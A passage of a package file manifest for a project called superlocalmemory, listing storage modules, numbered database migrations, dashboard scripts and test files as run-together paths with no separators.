almemory/storage/_snapshot_retention.pysrc/superlocalmemory/storage/access_log.pysrc/superlocalmemory/storage/admission_codec.pysrc/superlocalmemory/storage/admission_journal.pysrc/superlocalmemory/storage/agent_experience.pysrc/superlocalmemory/storage/archive_repair.pysrc/superlocalmemory/storage/backup.pysrc/superlocalmemory/storage/correction_cases.pysrc/superlocalmemory/storage/data_repair_undo.pysrc/superlocalmemory/storage/database.pysrc/superlocalmemory/storage/deferred_writes.pysrc/superlocalmemory/storage/embedding_canonical_slots.pysrc/superlocalmemory/storage/embedding_change_log.pysrc/superlocalmemory/storage/embedding_codec.pysrc/superlocalmemory/storage/embedding_migrator.pysrc/superlocalmemory/storage/embedding_projection.pysrc/superlocalmemory/storage/embedding_reindex_jobs.pysrc/superlocalmemory/storage/embedding_space_swap.pysrc/superlocalmemory/storage/embedding_spaces.pysrc/superlocalmemory/storage/enrichment_ledger.pysrc/superlocalmemory/storage/entity_index.pysrc/superlocalmemory/storage/entity_link_repair.pysrc/superlocalmemory/storage/entity_link_repair_apply.pysrc/superlocalmemory/storage/entity_link_repair_junk.pysrc/superlocalmemory/storage/erasure_derived.pysrc/superlocalmemory/storage/erasure_fence.pysrc/superlocalmemory/storage/erasure_visibility.pysrc/superlocalmemory/storage/event_time.pysrc/superlocalmemory/storage/execution_learning.pysrc/superlocalmemory/storage/external_evidence.pysrc/superlocalmemory/storage/fabricated_dates.pysrc/superlocalmemory/storage/fabricated_dates_repair.pysrc/superlocalmemory/storage/fact_context.pysrc/superlocalmemory/storage/fact_dependents.pysrc/superlocalmemory/storage/fact_search_changes.pysrc/superlocalmemory/storage/fts_residue.pysrc/superlocalmemory/storage/fts_terms.pysrc/superlocalmemory/storage/generation_fence.pysrc/superlocalmemory/storage/graph_generation.pysrc/superlocalmemory/storage/hub_baseline_trigger.pysrc/superlocalmemory/storage/idempotency_identity.pysrc/superlocalmemory/storage/integrity_census.pysrc/superlocalmemory/storage/integrity_diagnosis.pysrc/superlocalmemory/storage/integrity_health.pysrc/superlocalmemory/storage/integrity_obligations.pysrc/superlocalmemory/storage/integrity_receipts.pysrc/superlocalmemory/storage/integrity_repair.pysrc/superlocalmemory/storage/integrity_scan.pysrc/superlocalmemory/storage/journal_writer.pysrc/superlocalmemory/storage/lineage_retention.pysrc/superlocalmemory/storage/logical_edges.pysrc/superlocalmemory/storage/memory_kind_store.pysrc/superlocalmemory/storage/memory_kind_writes.pysrc/superlocalmemory/storage/memory_kinds.pysrc/superlocalmemory/storage/memory_write.pysrc/superlocalmemory/storage/migration_runner.pysrc/superlocalmemory/storage/migration_v33.pysrc/superlocalmemory/storage/migrations.pysrc/superlocalmemory/storage/migrations/M001_add_signal_features_columns.pysrc/superlocalmemory/storage/migrations/M002_model_state_history.pysrc/superlocalmemory/storage/migrations/M003_migration_log.pysrc/superlocalmemory/storage/migrations/M004_cross_platform_sync_log.pysrc/superlocalmemory/storage/migrations/M005_bandit_tables.pysrc/superlocalmemory/storage/migrations/M006_action_outcomes_reward.pysrc/superlocalmemory/storage/migrations/M007_pending_outcomes.pysrc/superlocalmemory/storage/migrations/M009_model_lineage.pysrc/superlocalmemory/storage/migrations/M010_evolution_config.pysrc/superlocalmemory/storage/migrations/M011_archive_and_merge.pysrc/superlocalmemory/storage/migrations/M012_shadow_observations.pysrc/superlocalmemory/storage/migrations/M013_bi_temporal_columns.pysrc/superlocalmemory/storage/migrations/M014_v345_scale_ready.pysrc/superlocalmemory/storage/migrations/M015_add_pinned_column.pysrc/superlocalmemory/storage/migrations/M016_add_scope_support.pysrc/superlocalmemory/storage/migrations/M017_ccq_scope_column.pysrc/superlocalmemory/storage/migrations/M018_ingestion_operations.pysrc/superlocalmemory/storage/migrations/M019_derivation_lineage.pysrc/superlocalmemory/storage/migrations/M020_model_state_integrity.pysrc/superlocalmemory/storage/migrations/M021_ingestion_log_profile.pysrc/superlocalmemory/storage/migrations/M022_entity_aliases_profile.pysrc/superlocalmemory/storage/migrations/M023_mesh_profile_isolation.pysrc/superlocalmemory/storage/migrations/M024_rbac_users_roles.pysrc/superlocalmemory/storage/migrations/M025_perf_indexes.pysrc/superlocalmemory/storage/migrations/M026_rbac_memberships_fk.pysrc/superlocalmemory/storage/migrations/M027_transferable_patterns_profile.pysrc/superlocalmemory/storage/migrations/M028_fact_entity_associations.pysrc/superlocalmemory/storage/migrations/M029_behavioral_history_indexes.pysrc/superlocalmemory/storage/migrations/M030_entity_explorer_indexes.pysrc/superlocalmemory/storage/migrations/M031_dead_letter_operations.pysrc/superlocalmemory/storage/migrations/M032_write_coordinator_admission.pysrc/superlocalmemory/storage/migrations/M033_projection_transactions.pysrc/superlocalmemory/storage/migrations/M034_obligation_integrity.pysrc/superlocalmemory/storage/migrations/M035_erasure_receipts.pysrc/superlocalmemory/storage/migrations/M036_vector_row_map.pysrc/superlocalmemory/storage/migrations/M037_manifest_hmac_version.pysrc/superlocalmemory/storage/migrations/M038_learning_feedback_channel.pysrc/superlocalmemory/storage/migrations/M039_scene_fact_members.pysrc/superlocalmemory/storage/migrations/M040_agent_experience_receipts.pysrc/superlocalmemory/storage/migrations/M041_external_evidence_receipts.pysrc/superlocalmemory/storage/migrations/M042_correction_case_ledger.pysrc/superlocalmemory/storage/migrations/M043_quarantine_display_summaries.pysrc/superlocalmemory/storage/migrations/M044_play_carries_its_own_evidence.pysrc/superlocalmemory/storage/migrations/M045_fact_outcome_score.pysrc/superlocalmemory/storage/migrations/M046_prospective_memory_has_its_own_name.pysrc/superlocalmemory/storage/migrations/M047_fisher_vectors_are_stored_like_every_other_vector.pysrc/superlocalmemory/storage/migrations/M048_upcoming_holds_only_what_is_upcoming.pysrc/superlocalmemory/storage/migrations/M049_a_schema_version_marker_is_one_row.pysrc/superlocalmemory/storage/migrations/M050_execution_learning_v2.pysrc/superlocalmemory/storage/migrations/M051_lifecycle_is_recomputed_not_resampled.pysrc/superlocalmemory/storage/migrations/M052_memory_kinds.pysrc/superlocalmemory/storage/migrations/M053_answer_check_history.pysrc/superlocalmemory/storage/migrations/M054_saved_views.pysrc/superlocalmemory/storage/migrations/M055_learning_attribution.pysrc/superlocalmemory/storage/migrations/M056_recall_channel_indexes.pysrc/superlocalmemory/storage/migrations/M057_temporal_retrieval_version.pysrc/superlocalmemory/storage/migrations/M058_recall_fact_cover.pysrc/superlocalmemory/storage/migrations/M059_erasure_visibility.pysrc/superlocalmemory/storage/migrations/M060_memory_description.pysrc/superlocalmemory/storage/migrations/M061_fact_hub_baseline.pysrc/superlocalmemory/storage/migrations/M062_hook_bookkeeping_is_flagged.pysrc/superlocalmemory/storage/migrations/M063_blank_temporal_dates_are_null.pysrc/superlocalmemory/storage/migrations/M064_orphan_index_rows_are_removed.pysrc/superlocalmemory/storage/migrations/M065_fabricated_dates_are_removed.pysrc/superlocalmemory/storage/migrations/M066_wrongly_archived_memories_are_restored.pysrc/superlocalmemory/storage/migrations/M067_projection_follows_every_fact_change.pysrc/superlocalmemory/storage/migrations/__init__.pysrc/superlocalmemory/storage/migrations/_repair_util.pysrc/superlocalmemory/storage/models.pysrc/superlocalmemory/storage/own_fact_repair.pysrc/superlocalmemory/storage/pending_media_moves.pysrc/superlocalmemory/storage/profile_fold.pysrc/superlocalmemory/storage/profile_fold_sidecars.pysrc/superlocalmemory/storage/project_backfill.pysrc/superlocalmemory/storage/projection_outbox.pysrc/superlocalmemory/storage/qjl_repair.pysrc/superlocalmemory/storage/quantized_store.pysrc/superlocalmemory/storage/read_connection.pysrc/superlocalmemory/storage/read_connection_pool.pysrc/superlocalmemory/storage/recency_index.pysrc/superlocalmemory/storage/replaced_memory.pysrc/superlocalmemory/storage/retention_access.pysrc/superlocalmemory/storage/retention_lifecycle.pysrc/superlocalmemory/storage/retention_policy.pysrc/superlocalmemory/storage/save_repair.pysrc/superlocalmemory/storage/save_repair_apply.pysrc/superlocalmemory/storage/scene_member_triggers.pysrc/superlocalmemory/storage/schema.pysrc/superlocalmemory/storage/schema_code_graph.pysrc/superlocalmemory/storage/schema_v32.pysrc/superlocalmemory/storage/schema_v3410.pysrc/superlocalmemory/storage/schema_v3411.pysrc/superlocalmemory/storage/schema_v343.pysrc/superlocalmemory/storage/schema_v345.pysrc/superlocalmemory/storage/schema_v347.pysrc/superlocalmemory/storage/snapshot_pool.pysrc/superlocalmemory/storage/source_identity.pysrc/superlocalmemory/storage/sqlite_vectors.pysrc/superlocalmemory/storage/store_cache_warm.pysrc/superlocalmemory/storage/store_check.pysrc/superlocalmemory/storage/store_repair.pysrc/superlocalmemory/storage/store_signature.pysrc/superlocalmemory/storage/unfinished_deletes.pysrc/superlocalmemory/storage/upgrade_repair.pysrc/superlocalmemory/storage/upgrade_restore.pysrc/superlocalmemory/storage/v2_migrator.pysrc/superlocalmemory/storage/vector_parity.pysrc/superlocalmemory/storage/vector_residue.pysrc/superlocalmemory/storage/visibility_index.pysrc/superlocalmemory/storage/write_coordinator.pysrc/superlocalmemory/storage/write_generation.pysrc/superlocalmemory/storage/write_lock.pysrc/superlocalmemory/storage/write_receipts_erasure.pysrc/superlocalmemory/summaries/__init__.pysrc/superlocalmemory/summaries/base.pysrc/superlocalmemory/summaries/daily_reflection.pysrc/superlocalmemory/summaries/non_answer.pysrc/superlocalmemory/summaries/project_work_log.pysrc/superlocalmemory/summaries/session_summary.pysrc/superlocalmemory/summaries/sessions.pysrc/superlocalmemory/tagging/__init__.pysrc/superlocalmemory/tagging/extractors.pysrc/superlocalmemory/trust/__init__.pysrc/superlocalmemory/trust/gate.pysrc/superlocalmemory/trust/provenance.pysrc/superlocalmemory/trust/scorer.pysrc/superlocalmemory/trust/signals.pysrc/superlocalmemory/ui/js/agents.jssrc/superlocalmemory/ui/js/answer-check.jssrc/superlocalmemory/ui/js/auto-settings.jssrc/superlocalmemory/ui/js/brain.jssrc/superlocalmemory/ui/js/clusters.jssrc/superlocalmemory/ui/js/compliance.jssrc/superlocalmemory/ui/js/core.jssrc/superlocalmemory/ui/js/dashboard.jssrc/superlocalmemory/ui/js/event-delegation.jssrc/superlocalmemory/ui/js/events.jssrc/superlocalmemory/ui/js/fact-detail.jssrc/superlocalmemory/ui/js/feedback.jssrc/superlocalmemory/ui/js/graph-event-bus.jssrc/superlocalmemory/ui/js/graph-filters.jssrc/superlocalmemory/ui/js/graph-ui.jssrc/superlocalmemory/ui/js/ide-status.jssrc/superlocalmemory/ui/js/init.jssrc/superlocalmemory/ui/js/knowledge-graph.jssrc/superlocalmemory/ui/js/lifecycle.jssrc/superlocalmemory/ui/js/math-health.jssrc/superlocalmemory/ui/js/memories.jssrc/superlocalmemory/ui/js/memory-chat.jssrc/superlocalmemory/ui/js/memory-timeline.jssrc/superlocalmemory/ui/js/modal.jssrc/superlocalmemory/ui/js/ng-entities.jssrc/superlocalmemory/ui/js/ng-health.jssrc/superlocalmemory/ui/js/ng-ingestion.jssrc/superlocalmemory/ui/js/ng-mesh.jssrc/superlocalmemory/ui/js/ng-shell.jssrc/superlocalmemory/ui/js/ng-skills.jssrc/superlocalmemory/ui/js/od-agents.jssrc/superlocalmemory/ui/js/od-answercheck-tryit.jssrc/superlocalmemory/ui/js/od-answercheck.jssrc/superlocalmemory/ui/js/od-apps-list.jssrc/superlocalmemory/ui/js/od-apps-ui.jssrc/superlocalmemory/ui/js/od-apps.jssrc/superlocalmemory/ui/js/od-auth-gate.jssrc/superlocalmemory/ui/js/od-backup-encryption.jssrc/superlocalmemory/ui/js/od-backup-layout.jssrc/superlocalmemory/ui/js/od-backup-recovery.jssrc/superlocalmemory/ui/js/od-backup.jssrc/superlocalmemory/ui/js/od-botmessages.jssrc/superlocalmemory/ui/js/od-boundedloops.jssrc/superlocalmemory/ui/js/od-brain.jssrc/superlocalmemory/ui/js/od-compliance-ext.jssrc/superlocalmemory/ui/js/od-components.jssrc/superlocalmemory/ui/js/od-connections.jssrc/superlocalmemory/ui/js/od-daemon-controls.jssrc/superlocalmemory/ui/js/od-daily.jssrc/superlocalmemory/ui/js/od-dash-home.jssrc/superlocalmemory/ui/js/od-decay-preview.jssrc/superlocalmemory/ui/js/od-engine-upgrade.jssrc/superlocalmemory/ui/js/od-entities.jssrc/superlocalmemory/ui/js/od-features.jssrc/superlocalmemory/ui/js/od-graph.jssrc/superlocalmemory/ui/js/od-health.jssrc/superlocalmemory/ui/js/od-help.jssrc/superlocalmemory/ui/js/od-local-apps.jssrc/superlocalmemory/ui/js/od-mcp.jssrc/superlocalmemory/ui/js/od-media-find.jssrc/superlocalmemory/ui/js/od-media.jssrc/superlocalmemory/ui/js/od-memories.jssrc/superlocalmemory/ui/js/od-memory-drawer.jssrc/superlocalmemory/ui/js/od-memory-events.jssrc/superlocalmemory/ui/js/od-memory-health.jssrc/superlocalmemory/ui/js/od-memory-knowledge.jssrc/superlocalmemory/ui/js/od-mesh.jssrc/superlocalmemory/ui/js/od-operations-compliance.jssrc/superlocalmemory/ui/js/od-operations-layout.jssrc/superlocalmemory/ui/js/od-operations.jssrc/superlocalmemory/ui/js/od-ops-health.jssrc/superlocalmemory/ui/js/od-optimize.jssrc/superlocalmemory/ui/js/od-polish.jssrc/superlocalmemory/ui/js/od-reindex.jssrc/superlocalmemory/ui/js/od-settings-groups.jssrc/superlocalmemory/ui/js/od-settings-models.jssrc/superlocalmemory/ui/js/od-settings.jssrc/superlocalmemory/ui/js/od-shell.jssrc/superlocalmemory/ui/js/od-signin-gate.jssrc/superlocalmemory/ui/js/od-skills.jssrc/superlocalmemory/ui/js/od-source-button.jssrc/superlocalmemory/ui/js/od-sources.jssrc/superlocalmemory/ui/js/od-star-ask.jssrc/superlocalmemory/ui/js/od-startup.jssrc/superlocalmemory/ui/js/od-store-check.jssrc/superlocalmemory/ui/js/od-summaries.jssrc/superlocalmemory/ui/js/od-team.jssrc/superlocalmemory/ui/js/od-views.jssrc/superlocalmemory/ui/js/od-welcome.jssrc/superlocalmemory/ui/js/optimize.jssrc/superlocalmemory/ui/js/profiles.jssrc/superlocalmemory/ui/js/quick-actions.jssrc/superlocalmemory/ui/js/recall-lab.jssrc/superlocalmemory/ui/js/search.jssrc/superlocalmemory/ui/js/settings.jssrc/superlocalmemory/ui/js/timeline.jssrc/superlocalmemory/ui/js/trust-dashboard.jssrc/superlocalmemory/ui/vendor/bootstrap.bundle.min.jssrc/superlocalmemory/ui/vendor/d3.v7.min.jssrc/superlocalmemory/ui/vendor/graphology-library.min.jssrc/superlocalmemory/ui/vendor/graphology.umd.min.jssrc/superlocalmemory/ui/vendor/sigma.min.jssrc/superlocalmemory/vector/__init__.pysrc/superlocalmemory/vector/lancedb_backend.pysrc/superlocalmemory/views/__init__.pysrc/superlocalmemory/views/model.pysrc/superlocalmemory/views/runner.pysrc/superlocalmemory/views/store.pytests/__init__.pytests/_engine_closer.pytests/_hard_timeout_plugin.pytests/_isolation_plugin.pytests/_portable.pytests/_recall_sources.pytests/_shard_plugin.pytests/_urlopen_fake.pytests/chaos/__init__.pytests/chaos/test_chaos_queue.pytests/cli/test_no_writable_fallback.pytests/cli/test_remote_commands.pytests/cli/test_token_show.pytests/conftest.pytests/core/test_canonical_mutation_runtime.pytests/core/test_correction_during_delete.pytests/core/test_deferred_admission_stop_bound.pytests/core/test_delete_refusal_race.pytests/core/test_erase_redrive.pytests/core/test_erase_redrive_every_profile.pytests/core/test_erase_redrive_followups.pytests/core/test_erasure_hardening.pytests/core/test_erasure_integration.pytests/core/test_erasure_integrity_units.pytests/core/test_erasure_phase3_faults.pytests/core/test_erasure_saga.pytests/core/test_erasure_service.pytests/core/test_generation_fence.pytests/core/test_lancedb_detect_no_thread.pytests/core/test_open_correction_lets_the_user_overtake.pytests/core/test_orchestrator.pytests/core/test_overtaken_cases.pytests/core/test_overtaken_cases_edges.pytests/core/test_p8_hardening.pytests/core/test_phase3_governance.pytests/core/test_projection_spine.pytests/core/test_projection_spine_integration.pytests/core/test_remember_admission.pytests/core/test_remember_admission_handler.pytests/core/test_remember_contention_accept.pytests/core/test_remember_disk_failure_is_not_called_busy.pytests/core/test_remember_runtime.pytests/core/test_remember_save_path_reader.pytests/core/test_remember_survives_a_stalled_process.pytests/core/test_secret_scrub_http_ingress.pytests/core/test_stale_delete_tombstone.pytests/core/test_tier_manager.pytests/core/test_warm_guard_embed.pytests/daemon_descriptor_guard.pytests/dev_metadata.pytests/docs/__init__.pytests/docs/test_distributed_deployment_env_vars_are_read.pytests/docs/test_doc_anchors_resolve.pytests/docs/test_optimize_config_reference.pytests/docs/test_privacy_statements_name_the_jev_kind_egress.pytests/docs/test_readme_wp13.pytests/docs/test_security_doc_does_not_promise_an_unshipped_release.pytests/e2e/test_every_mcp_tool_end_to_end.pytests/e2e/test_remote_two_daemons.pytests/fixtures/__init__.pytests/fixtures/benchmark_data.pytests/fixtures/lgb_mock.pytests/fixtures/stub_llm_server.pytests/graph/test_cozo_backend.pytests/graph/test_cozo_client_adapter.pytests/graph/test_cozo_remove_is_keyed.pytests/helpers/doctor.pytests/helpers/env_capabilities.pytests/helpers/fake_embedding_worker.pytests/helpers/hook_event_db.pytests/helpers/native_guard.pytests/helpers/owned_python.pytests/helpers/seed_skill_events.pytests/installers/test_get_slm.pytests/installers/test_primary_install_journeys.pytests/installers/test_unix_installer_contract.pytests/integration/__init__.pytests/integration/test_entity_compilation.pytests/integration/test_health_monitor.pytests/integration/test_ingestion.pytests/integration/test_mesh.pytests/integration/test_mesh_3c_e2e_p6c.pytests/integration/test_mesh_advertise_p6b.pytests/integration/test_mesh_http.pytests/integration/test_mesh_lock_expiry.pytests/integration/test_mesh_lock_protocol_p6c.pytests/integration/test_mesh_node_identity_p6c.pytests/integration/test_mesh_profile_isolation.pytests/integration/test_mesh_security_p6a.pytests/integration/test_mesh_state_sync_p6c.pytests/integration/test_mesh_transport_p6b.pytests/integration/test_remote_sync.pytests/integration/test_remote_sync_mdns.pytests/integration/test_unified_daemon.pytests/isolation_guard.pytests/loops/__init__.pytests/loops/hermetic_fixtures.pytests/loops/test_check_output_privacy.pytests/loops/test_check_process_ownership.pytests/loops/test_check_serialization.pytests/loops/test_engine.pytests/loops/test_execution_guard.pytests/loops/test_hermetic_contract.pytests/loops/test_hermetic_paths.pytests/loops/test_ledger.pytests/loops/test_models.pytests/loops/test_private_run_location.pytests/loops/test_process_sweep_attribution.pytests/loops/test_protocol.pytests/loops/test_receipt_authentication.pytests/loops/test_rules.pytests/mcp/__init__.pytests/mcp/test_a_profile_that_holds_memory_can_name_it.pytests/mcp/test_cli_fallback.pytests/mcp/test_http_transport_resilience.pytests/mcp/test_loop_adversarial_admission.pytests/mcp/test_loop_documented_limits.pytests/mcp/test_loop_escape_integrity.pytests/mcp/test_loop_hermetic_probes.pytests/mcp/test_loop_independent_receipts.pytests/mcp/test_loop_pytest_config.pytests/mcp/test_loop_receipt_races.pytests/mcp/test_loop_receipt_replay.pytests/mcp/test_loop_receipt_window.pytests/mcp/test_loop_stop_reasons.pytests/mcp/test_loop_tools.pytests/mcp/test_mcp2_discover_and_client_e2e.pytests/mcp/test_media_tools_listed_only_while_images_on.pytests/mcp/test_no_writable_fallback.pytests/mcp/test_profile_selector.pytests/mcp/test_q9_compact_json_result.pytests/mcp/test_recall_carries_the_relay_deadline.pytests/mcp/test_recall_kind_proxy_and_cli.pytests/mcp/test_search_and_list_recent_kind_filter.pytests/mcp/test_search_fetch_list_recent_unknown_profile.pytests/mcp/test_session_init_prospective_surface.pytests/mcp/test_session_init_standing_rules.pytests/mcp/test_session_project_rules.pytests/mcp/test_tag_filter_tools.pytests/mcp/test_the_advertised_tool_count_is_the_real_one.pytests/mcp/test_the_dashboard_mcp_panel_states_the_real_tool_count.pytests/mcp/test_the_loop_gate_asks_the_check_but_never_the_reorder.pytests/mcp/test_the_mcp_loop_gate_never_pays_for_a_reorder.pytests/mcp/test_the_plugin_can_say_a_memory_helped.pytests/mcp/test_the_prose_a_user_reads_states_the_real_tool_count.pytests/mcp/test_the_readme_mcp_profiles_table_matches_reality.pytests/mcp/test_the_wiki_mcp_tools_page_matches_reality.pytests/mcp/test_tools_kinds.pytests/mcp/test_unknown_profile_is_refused_cleanly.pytests/optimize/__init__.pytests/optimize/adapters/__init__.pytests/optimize/adapters/conftest.pytests/optimize/adapters/test_adapters.pytests/optimize/adapters/test_wrap.pytests/optimize/cache/__init__.pytests/optimize/cache/test_agreeing_outcomes_fit_the_boundary.pytests/optimize/cache/test_boundary_cache_cap.pytests/optimize/cache/test_boundary_fit_never_corrupts_memory.pytests/optimize/cache/test_boundary_store.pytests/optimize/cache/test_centroid_store.pytests/optimize/cache/test_context_key.pytests/optimize/cache/test_exact.pytests/optimize/cache/test_explore_draw_is_install_keyed.pytests/optimize/cache/test_invalidation.pytests/optimize/cache/test_key_builder.pytests/optimize/cache/test_manager.pytests/optimize/cache/test_semantic.pytests/optimize/cache/test_stampede.pytests/optimize/cache/test_vertex_key_isolation.pytests/optimize/compress/test_align.pytests/optimize/compress/test_ccr.pytests/optimize/compress/test_ccr_proxy_correctness.pytests/optimize/compress/test_init.pytests/optimize/compress/test_json_minify.pytests/optimize/compress/test_prose_llmlingua.pytests/optimize/compress/test_router.pytests/optimize/compress/test_router_helpers.pytests/optimize/config/__init__.pytests/optimize/config/test_accessor.pytests/optimize/config/test_schema.pytests/optimize/config/test_store.pytests/optimize/conftest.pytests/optimize/metrics/__init__.pytests/optimize/metrics/test_counters.pytests/optimize/metrics/test_estimator.pytests/optimize/metrics/test_exporters.pytests/optimize/metrics/test_persistence.pytests/optimize/metrics/test_routes.pytests/optimize/proxy/__init__.pytests/optimize/proxy/conftest.pytests/optimize/proxy/test_anthropic_surface.pytests/optimize/proxy/test_anthropic_surface_gaps.pytests/optimize/proxy/test_anthropic_surface_more.pytests/optimize/proxy/test_capture.pytests/optimize/proxy/test_gemini_surface.pytests/optimize/proxy/test_gemini_surface_gaps.pytests/optimize/proxy/test_gemini_surface_more.pytests/optimize/proxy/test_helpers.pytests/optimize/proxy/test_helpers_gaps.pytests/optimize/proxy/test_helpers_more.pytests/optimize/proxy/test_lifecycle.pytests/optimize/proxy/test_openai_surface.pytests/optimize/proxy/test_server.pytests/optimize/proxy/test_vertex_surface.pytests/optimize/storage/__init__.pytests/optimize/storage/test_db.pytests/optimize/storage/test_db_edge_cases.pytests/optimize/storage/test_schema.pytests/optimize/storage/test_tenant_normalization.pytests/optimize/test_benchmark.pytests/optimize/test_cache_erasure.pytests/optimize/test_proxy_tenant_isolation.pytests/optimize/test_runtime_toggle.pytests/optimize/test_semantic_index_cap.pytests/perf/__init__.pytests/perf/test_answer_check_history_overhead.pytests/perf/test_recall_remember_baseline.pytests/postinstall/test_arch_refusals.jstests/postinstall/test_engine_upgrade_prompt.jstests/postinstall/test_media_request.jstests/postinstall/test_npm_runtime_isolation.jstests/postinstall/test_postinstall_cpu_torch.jstests/postinstall/test_postinstall_python_discovery.jstests/postinstall/test_postinstall_python_guidance.jstests/postinstall/test_postinstall_validation.jstests/postinstall/test_rebuild_command_is_global.jstests/property/__init__.pytests/property/test_queue_invariants.pytests/regression/__init__.pytests/regression/test_issue_112.pytests/regression/test_issue_90.pytests/release/__init__.pytests/release/_harness.pytests/release/conftest.pytests/release/test_artifact_contract.pytests/release/test_csp_no_inline_handlers.pytests/release/test_daemon_namespace_blackbox.pytests/release/test_dependency_security_floors.pytests/release/test_harness.pytests/release/test_installed_artifacts.pytests/release/test_plugin_hook_parity.pytests/release/test_public_claim_scanner.pytests/release/test_testclient_dependency.pytests/release/test_v37_rc_candidate_contract.pytests/release/test_v4_platform_support.pytests/server/test_386_canonical_remember_route.pytests/server/test_386_readiness_channel_contract.pytests/server/test_background_index_repair_yields_to_recall.pytests/server/test_daemon_bound_port.pytests/server/test_daemon_health_identity.pytests/server/test_daemon_readiness_contract.pytests/server/test_data_root_startup_guard.pytests/server/test_entity_index_gap_sweep.pytests/server/test_health_never_blocks_the_event_loop.pytests/server/test_remember_profile_binding.pytests/server/test_remote_keys.pytests/server/test_remote_listener.pytests/server/test_remote_secrets_owner_only.pytests/server/test_remote_slow_clients.pytests/server/test_uvicorn_contract.pytests/storage/test_admission_codec.pytests/storage/test_admission_journal.pytests/storage/test_admission_journal_concurrency.pytests/storage/test_an_expired_write_lets_go_of_the_lock.pytests/storage/test_database_coordinator_binding.pytests/storage/test_embedding_codec.pytests/storage/test_entity_index_coverage_gap.pytests/storage/test_fabricated_date_text.pytests/storage/test_fact_count_is_not_recounted.pytests/storage/test_fts_damaged_index_repair.pytests/storage/test_fts_secure_delete_versions.pytests/storage/test_idempotency_across_restarts.pytests/storage/test_integrity_diagnosis.pytests/storage/test_integrity_repair.pytests/storage/test_keyword_index_repair_is_verified.pytests/storage/test_kind_column_probe_race.pytests/storage/test_no_reuse_of_values_seen_inside_a_rolled_back_save.pytests/storage/test_orphan_index_rows.pytests/storage/test_private_copies_owner_only.pytests/storage/test_project_backfill.pytests/storage/test_read_connection_closes_from_any_thread.pytests/storage/test_repair_scrubs_event_previews.pytests/storage/test_repair_unfinished_deletes.pytests/storage/test_secure_delete_on_old_sqlite.pytests/storage/test_store_check.pytests/storage/test_store_is_read_once_at_start.pytests/storage/test_vector_parity_repair.pytests/storage/test_vector_residue.pytests/storage/test_write_coordinator.pytests/storage/test_write_coordinator_deadline.pytests/storage/test_write_coordinator_waits_can_be_stopped.pytests/stress/test_386_canonical_legacy_multiprocess_contention.pytests/stress/test_386_canonical_runtime_release.pytests/stress/test_386_mode_parity_release.pytests/stress/test_hook_events_never_lost.pytests/stress/test_remember_journal_burst.pytests/test_acceptance_brain_truth.pytests/test_acceptance_compliance.pytests/test_acceptance_consolidation.pytests/test_acceptance_core.pytests/test_access/__init__.pytests/test_access/test_rbac_engine.pytests/test_adapters/__init__.pytests/test_adapters/conftest.pytests/test_adapters/test_antigravity_adapter.pytests/test_adapters/test_content_builder.pytests/test_adapters/test_copilot_adapter.pytests/test_adapters/test_copilot_adapter_nondestructive.pytests/test_adapters/test_cross_platform_connector.pytests/test_adapters/test_cursor_adapter.pytests/test_adapters/test_extra_coverage.pytests/test_adapters/test_static_protocol_security.pytests/test_adapters/test_sync_loop.pytests/test_api/__init__.pytests/test_api/conftest.pytests/test_api/test_a_used_memory_can_leave_forgotten.pytests/test_api/test_activity_metadata_attribution.pytests/test_api/test_agent_memory_activity.pytests/test_api/test_api_associations.pytests/test_api/test_api_auto_invoke.pytests/test_api/test_api_consolidation.pytests/test_api/test_api_lifespan_contract.pytests/test_api/test_api_v33.pytests/test_api/test_brain_endpoint.pytests/test_api/test_config_api.pytests/test_api/test_dashboard_phase_truth.pytests/test_api/test_dashboard_source_truth.pytests/test_api/test_engine_lifecycle.pytests/test_api/test_provider_test_endpoint.pytests/test_api/test_s9_w4_brain_contract.pytests/test_api/test_token_endpoint.pytests/test_api/test_worker_idle_config.pytests/test_architecture/__init__.pytests/test_architecture/test_import_ratchet.pytests/test_architecture/test_no_heavy_ml_on_import.pytests/test_auto_hooks.pytests/test_before_web_hook.pytests/test_behavioral_full.pytests/test_benchmark_drift_guard.pytests/test_benchmark_exp12_trial_accounting.pytests/test_benchmark_provenance.pytests/test_benchmark_suite_reachability.pytests/test_benchmark_trial_distribution.pytests/test_benchmarks/__init__.pytests/test_benchmarks/chart_export.pytests/test_benchmarks/evo_memory.pytests/test_benchmarks/evo_memory_multiseed.pytests/test_benchmarks/fixtures/__init__.pytests/test_benchmarks/fixtures/generate_synthetic_fixture.pytests/test_benchmarks/locomo/__init__.pytests/test_benchmarks/locomo/run_locomo.pytests/test_benchmarks/locomo/score.pytests/test_benchmarks/test_evo_memory_runner.pytests/test_benchmarks/test_hook_cold_start.pytests/test_benchmarks/test_resource_lifecycle_harness.pytests/test_benchmarks_leave_no_file_open.pytests/test_binary/__init__.pytests/test_binary/conftest.pytests/test_binary/test_bin_slm_python_version_gate.pytests/test_binary/test_dispatcher_fallback.pytests/test_binary/test_entry_generator.pytests/test_binary/test_manifest_generator.pytests/test_brain/test_truth.pytests/test_bump_version.pytests/test_cache/__init__.pytests/test_cache/conftest.pytests/test_cache/test_activation_hook.pytests/test_cache/test_clear_and_policy.pytests/test_cache/test_keys.pytests/test_cache/test_lru.pytests/test_cache/test_sqlite_store.pytests/test_cache/test_tiered_and_factory.pytests/test_ci_guards/__init__.pytests/test_ci_guards/test_a_hung_test_is_named.pytests/test_ci_guards/test_canonical_data_root_surface.pytests/test_ci_guards/test_checkout_line_endings.pytests/test_ci_guards/test_cli_mutation_identity.pytests/test_ci_guards/test_config_mutation_auth.pytests/test_ci_guards/test_cozo_store_compatibility.pytests/test_ci_guards/test_cross_language_data_root_contract.pytests/test_ci_guards/test_daemon_descriptor_guard.pytests/test_ci_guards/test_dashboard_write_auth.pytests/test_ci_guards/test_hermes_integration_contract.pytests/test_ci_guards/test_installation_surface_contract.pytests/test_ci_guards/test_installer_ci_matrix.pytests/test_ci_guards/test_integration_contract_matrix.pytests/test_ci_guards/test_integration_evidence_generation.pytests/test_ci_guards/test_no_magicmock_artifacts.pytests/test_ci_guards/test_no_unrouted_fact_inserts.pytests/test_ci_guards/test_pending_store_boundary.pytests/test_ci_guards/test_plugin_start_command_checker.pytests/test_ci_guards/test_portable_start_command_checker.pytests/test_ci_guards/test_python_floor_is_stated_consistently.pytests/test_ci_guards/test_release_distribution.pytests/test_ci_guards/test_release_evidence.pytests/test_ci_guards/test_release_gate_integrity.pytests/test_ci_guards/test_release_package_surface.pytests/test_ci_guards/test_sqlite_connections_are_closed.pytests/test_ci_guards/test_stage5b_gate.pytests/test_ci_guards/test_test_environment_isolation.pytests/test_ci_guards/test_text_files_name_their_encoding.pytests/test_ci_guards/test_windows_installer_contract.pytests/test_claude_hooks.pytests/test_cli/__init__.pytests/te